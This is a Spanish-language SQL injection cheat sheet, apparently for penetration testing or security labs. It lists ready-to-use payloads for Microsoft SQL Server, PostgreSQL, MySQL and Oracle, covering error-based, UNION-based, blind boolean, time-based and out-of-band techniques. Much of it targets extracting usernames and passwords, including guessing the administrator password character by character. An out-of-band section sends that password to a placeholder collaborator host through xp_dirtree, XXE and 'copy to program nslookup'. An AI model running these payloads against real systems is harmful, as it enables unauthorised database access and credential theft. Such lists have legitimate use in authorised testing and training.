Detectar inyecciones SQL
1
2
3
4
5
6
7
8
9
| "
''
'
' --
' /*
' #
' or 1=1 --
' or 1=1 /*
' or 1=1 #
|
Inyecciones SQL en banda - Basadas en errores
Detectar inyecciones basadas en errores
1
2
3
4
5
| # Microsoft
' AND CAST((SELECT 1) AS INT) --
' AND 1=CAST((SELECT 1) AS INT) --
|
1
2
3
4
5
| # PostgreSQL
' AND CAST((SELECT 1) AS INTEGER) --
' AND 1=CAST((SELECT 1) AS INTEGER) --
|
1
2
3
4
5
| # MySQL
' AND CAST((SELECT 1) AS SIGNED) #
' AND 1=CAST((SELECT 1) AS SIGNED) #
|
1
2
3
4
5
| # Oracle
' AND CAST((SELECT 1 FROM DUAL) AS NUMBER) --
' AND 1=CAST((SELECT 1 FROM DUAL) AS NUMBER) --
|
1
2
3
| # Microsoft
' AND 1=CAST((SELECT TOP 1 username FROM users) AS INT) --
|
1
2
3
| # PostgreSQL
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS INTEGER) --
|
1
2
3
| # MySQL
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS SIGNED) #
|
1
2
3
| # Oracle
' AND 1=CAST((SELECT username FROM users WHERE ROWNUM=1) AS NUMBER) --
|
1
2
3
| # Microsoft
' AND 1=CAST((SELECT TOP 1 password FROM users) AS INT) --
|
1
2
3
| # PostgreSQL
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS INTEGER) --
|
1
2
3
| # MySQL
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS SIGNED) #
|
1
2
3
| # Oracle
' AND 1=CAST((SELECT password FROM users WHERE ROWNUM=1) AS NUMBER) --
|
Inyecciones SQL en banda - Basadas en UNION SELECT
Determinar numero de columnas con ORDER BY
1
2
3
| # Oracle, Microsoft, PostgreSQL
' ORDER BY 1 --
|
1
2
3
| # MySQL
' ORDER BY 2 #
|
Determinar numero de columnas con UNION SELECT NULL
1
2
3
| # Microsoft, PostgreSQL
' UNION SELECT NULL --
|
1
2
3
| # MySQL
' UNION SELECT NULL,NULL #
|
1
2
3
| # Oracle
' UNION SELECT NULL,NULL,NULL FROM DUAL --
|
Encontrar columnas con un tipo de datos útil
1
2
3
| # Microsoft, PostgreSQL
' UNION SELECT 'a' --
|
1
2
3
| # MySQL
' UNION SELECT NULL,'a' #
|
1
2
3
| # Oracle
' UNION SELECT NULL,NULL,'a' FROM DUAL --
|
Recuperar el contenido de una tabla (users)
1
2
3
| # Microsoft, PostgreSQL, Oracle
' UNION SELECT username,password FROM users --
|
1
2
3
| # MySQL
' UNION SELECT username,password FROM users #
|
Consultar tipo y versión de la base de datos
1
2
3
4
5
| # Microsoft
' UNION SELECT @@version --
' UNION SELECT NULL,@@version --
|
1
2
3
4
5
| # MySQL
' UNION SELECT @@version #
' UNION SELECT NULL,@@version #
|
1
2
3
4
5
| # Oracle
' UNION SELECT BANNER FROM v$version --
' UNION SELECT NULL,BANNER_FULL FROM v$version --
|
1
2
3
4
5
| # PostgreSQL
' UNION SELECT version() --
' UNION SELECT NULL,version() --
|
Tablas
1
2
3
| # Microsoft, PostgreSQL
' UNION SELECT table_name,NULL FROM information_schema.tables --
|
1
2
3
| # MySQL
' UNION SELECT table_name,NULL FROM information_schema.tables #
|
1
2
3
| # Oracle
' UNION SELECT table_name,NULL FROM all_tables --
|
Columnas
1
2
3
| # Microsoft, PostgreSQL
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name = 'users' --
|
1
2
3
| # MySQL
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name = 'users' #
|
1
2
3
| # Oracle
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name = 'users' --
|
Datos
1
2
3
| # Microsoft, PostgreSQL, Oracle
' UNION SELECT username,password FROM users --
|
1
2
3
| # MySQL
' UNION SELECT username,password FROM users #
|
Recuperar múltiples valores dentro de una sola columna
1
2
3
| # Oracle, PostgreSQL
' UNION SELECT username || '~' || password FROM users --
|
1
2
3
| # Microsoft
' UNION SELECT NULL,username + '~' + password FROM users --
|
1
2
3
| # MySQL
' UNION SELECT NULL,NULL,CONCAT(username, '~', password) FROM users #
|
Inyecciones SQL ciegas - Basadas en condicionales
Detectar inyecciones condicionales
1
2
3
4
5
6
7
8
| ' AND '1'='1
' AND '1'='2
' AND '1'='1' --
' AND '1'='2' --
' AND '1'='1' /*
' AND '1'='2' /*
' AND '1'='1' #
' AND '1'='2' #
|
Verificar que existe la tabla en la base de datos y tiene al menos una fila (users)
1
2
3
4
5
| # PostgreSQL
' AND (SELECT 'a' FROM users LIMIT 1)='a
' AND (SELECT 'a' FROM users LIMIT 1)='a' --
|
1
2
3
4
5
| # Microsoft
' AND (SELECT TOP 1 'a' FROM users) = 'a
' AND (SELECT TOP 1 'a' FROM users) = 'a' --
|
1
2
3
4
5
| # MySQL
' AND (SELECT 'a' FROM users LIMIT 1)='a
' AND (SELECT 'a' FROM users LIMIT 1)='a' #
|
1
2
3
4
5
| # Oracle
' AND (SELECT 'a' FROM users WHERE ROWNUM 1)='a
' AND (SELECT 'a' FROM users WHERE ROWNUM 1)='a' --
|
Verificar que existe el usuario en la base de datos (administrator)
1
2
3
4
5
| # PostgreSQL, MySQL, Microsoft, Oracle
' AND (SELECT 'a' FROM users WHERE username='administrator')='a
' AND EXISTS(SELECT 1 FROM users WHERE username = 'administrator') --
|
Determinar cuantos caracteres tiene la contraseña del usuario (administrator)
1
2
3
4
5
| # MySQL
' AND (SELECT 'a' FROM users WHERE username = 'administrator' AND CHAR_LENGTH(password) = 1 LIMIT 1) = 'a
' AND (SELECT 'a' FROM users WHERE username = 'administrator' AND CHAR_LENGTH(password) = 1 LIMIT 1) = 'a' --
|
1
2
3
4
5
| # PostgreSQL
' AND (SELECT 'a' FROM users WHERE username = 'administrator' AND LENGTH(password)=1)='a
' AND (SELECT 'a' FROM users WHERE username = 'administrator' AND LENGTH(password) = 1 LIMIT 1) = 'a' --
|
1
2
3
4
5
| # Microsoft
' AND (SELECT TOP 1 'a' FROM users WHERE username = 'administrator' AND LEN(password) = 1) = 'a
' AND (SELECT TOP 1 'a' FROM users WHERE username = 'administrator' AND LEN(password) = 1) = 'a' --
|
1
2
3
4
5
| # Oracle
' AND (SELECT 'a' FROM users WHERE username = 'administrator' AND LENGTH(password) = 1 AND ROWNUM = 1) = 'a
' AND (SELECT 'a' FROM users WHERE username = 'administrator' AND LENGTH(password) = 1 AND ROWNUM = 1) = 'a' --
|
1
2
3
4
5
6
7
8
9
| # PostgreSQL
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 'a
' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator' LIMIT 1), 1, 1) = 'a' --
' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator' LIMIT 1) FROM 1 FOR 1) = 'a' --
|
1
2
3
4
5
6
7
| # MySQL
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 'a
' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator' LIMIT 1), 1, 1) = 'a' #
|
1
2
3
4
5
6
7
| # Microsoft
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
' AND SUBSTRING((SELECT TOP 1 password FROM users WHERE username = 'administrator'), 1, 1) = 'a
' AND SUBSTRING((SELECT TOP 1 password FROM users WHERE username = 'administrator'), 1, 1) = 'a' --
|
1
2
3
4
5
6
7
| # Oracle
' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator' AND ROWNUM = 1), 1, 1) = 'a
' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator' AND ROWNUM = 1), 1, 1) = 'a' --
' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator' FETCH FIRST 1 ROWS ONLY), 1, 1) = 'a' --
|
Inyecciones SQL ciegas - Basadas en errores condicionales
1
2
3
| # PostgreSQL, MySQL, Microsoft
'||(SELECT '')||'
|
1
2
3
| # Oracle
'||(SELECT '' FROM DUAL)||'
|
1
2
3
| # PostgreSQL, MySQL, Microsoft, Oracle
'||(SELECT '' FROM not-a-real-table)||'
|
1
2
3
4
5
| # PostgreSQL, MySQL, Microsoft
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
|
1
2
3
4
5
| # Microsoft
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END)
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END)
|
1
2
3
4
5
| # PostgreSQL
' AND 1=(SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE NULL END)
' AND 1=(SELECT CASE WHEN (1=2) THEN 1/(SELECT 0) ELSE NULL END)
|
1
2
3
4
5
| # MySQL
' AND SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),'a')
' AND SELECT IF(1=2,(SELECT table_name FROM information_schema.tables),'a')
|
1
2
3
4
5
6
7
8
9
| # Oracle
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM DUAL)
' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM DUAL)
' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
' ||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
|
Verificar que existe la tabla en la base de datos y tiene al menos una fila (users)
1
2
3
| # Microsoft, PostgreSQL, MySQL
' ||(SELECT '' FROM users WHERE LIMIT = 1)||'
|
1
2
3
| # Oracle
' ||(SELECT '' FROM users WHERE ROWNUM = 1)||'
|
Verificar que existe el usuario en la base de datos (administrator)
1
2
3
| # Oracle
' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
|
Determinar cuantos caracteres tiene la contraseña del usuario (administrator)
1
2
3
| # Oracle
' ||(SELECT CASE WHEN LENGTH(password)=1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
|
1
2
3
| # Oracle
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
|
1
2
3
| # PostgreSQL, MySQL, Microsoft
' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) = 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
|
Inyecciones SQL ciegas - Basadas en tiempo
Detectar inyecciones ciegas basadas en tiempo
1
2
3
4
5
| # Microsoft
'; IF (1=1) WAITFOR DELAY '0:0:10' --
'; IF (1=2) WAITFOR DELAY '0:0:10' --
|
1
2
3
4
5
| # Oracle
'; SELECT CASE WHEN (1=1) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual --
'; SELECT CASE WHEN (1=2) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual --
|
1
2
3
4
5
6
7
| # PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END --
'; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END --
' ||pg_sleep(10) --
|
1
2
3
4
5
| # MySQL
'; SELECT IF(1=1,SLEEP(10),'a') #
'; SELECT IF(1=2,SLEEP(10),'a') #
|
Verificar que existe la tabla en la base de datos y tiene al menos una fila (users)
1
2
3
| # PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users LIMIT 1 --
|
Verificar que existe el usuario en la base de datos (administrator)
1
2
3
4
5
| # PostgreSQL
'; AND (SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username = 'administrator' LIMIT 1) IS NULL --
'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users --
|
Determinar cuantos caracteres tiene la contraseña del usuario (administrator)
1
2
3
4
5
6
| # PostgreSQL
'; SELECT CASE WHEN LENGTH(password)=20 THEN pg_sleep(10) ELSE pg_sleep(0) END
FROM users WHERE username = 'administrator' --
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users --
|
1
2
3
| # Microsoft
'; IF (SELECT COUNT(username) FROM users WHERE username = 'administrator' AND SUBSTRING(password, 1, 1) = 'm') = 1 WAITFOR DELAY '0:0:10' --
|
1
2
3
4
| # Oracle
' AND (SELECT CASE WHEN SUBSTR(password,1,1) = 'm' THEN DBMS_LOCK.SLEEP(10) ELSE NULL END
FROM users WHERE username = 'administrator' AND ROWNUM = 1) IS NULL --
|
1
2
3
4
5
| # PostgreSQL
' AND (SELECT CASE WHEN SUBSTRING(password FROM 1 FOR 1) = 'm' THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username = 'administrator' LIMIT 1) IS NULL --
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users --
|
1
2
3
| # MySQL
' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username = 'administrator' LIMIT 1) = 'm', SLEEP(10), 0) #
|
Inyecciones SQL fuera de banda - OAST
Detectar inyecciones fuera de banda OAST
1
2
3
4
5
6
7
8
9
| # Microsoft
' exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' --
'+exec+master..xp_dirtree+'//BURP-COLLABORATOR-SUBDOMAIN/a'+--
'; exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' --
'%3b+exec+master..xp_dirtree+'//BURP-COLLABORATOR-SUBDOMAIN/a'+--
|
1
2
3
4
5
6
7
8
9
| # Oracle
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual --
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual+--
' UNION SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') --
'+UNION+SELECT+UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')+--
|
1
2
3
4
5
6
7
8
9
| # PostgreSQL
' copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' --
'+copy+(SELECT+'')+to+program+'nslookup+BURP-COLLABORATOR-SUBDOMAIN'+--
'; copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' --
'%3b+copy+(SELECT+'')+to+program+'nslookup+BURP-COLLABORATOR-SUBDOMAIN'+--
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| #MySQL
' LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') #
'+LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')+#
'; LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') #
'%3b+LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')+#+
' UNION SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' #
'+UNION+SELECT+...+INTO+OUTFILE+'\\\\BURP-COLLABORATOR-SUBDOMAIN\a'+#
'; UNION SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' #
'%3b+UNION+SELECT+...+INTO+OUTFILE+'\\\\BURP-COLLABORATOR-SUBDOMAIN\a'+#
|
Exfiltrar datos
1
2
3
4
5
| # Microsoft
' declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='administrator');exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') --
'+declare+@p+varchar(1024)%3bset+@p%3d(SELECT+password+FROM+users+WHERE+username%3d'administrator')%3bexec('master..xp_dirtree+"//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')+--
|
1
2
3
4
5
| # Oracle
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual --
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual+--
|
1
2
3
4
5
| # PostgreSQL
' create OR replace function f() returns void as $$ declare c text;declare p text;begin SELECT into p (SELECT password FROM users WHERE username='administrator');c := 'copy (SELECT '''') to program ''nslookup '||p||' BURP-COLLABORATOR-SUBDOMAIN''';execute c;END;$$ language plpgsql security definer;SELECT f(); --
'+create+OR+replace+function+f()+returns+void+as+$$+declare+c+text%3bdeclare+p+text%3bbegin+SELECT+into+p+(SELECT+password+FROM+users+WHERE+username%3d'administrator')%3bc+%3a%3d+'copy+(SELECT+'''')+to+program+''nslookup+'||p||'+BURP-COLLABORATOR-SUBDOMAIN'''%3bexecute+c%3bEND%3b$$+language+plpgsql+security+definer%3bSELECT+f()%3b+--
|
1
2
3
4
5
| # MySQL
' UNION SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' #
'+UNION+SELECT+YOUR-QUERY-HERE+INTO+OUTFILE+'\\\\BURP-COLLABORATOR-SUBDOMAIN\a'+#
|
Encodear payloads
En CyberChef configurar los siguientes Find/Replace:
1
2
3
4
5
6
| -> +
% -> %25
? -> %3f
= -> %3d
: -> %3a
; -> %3b
|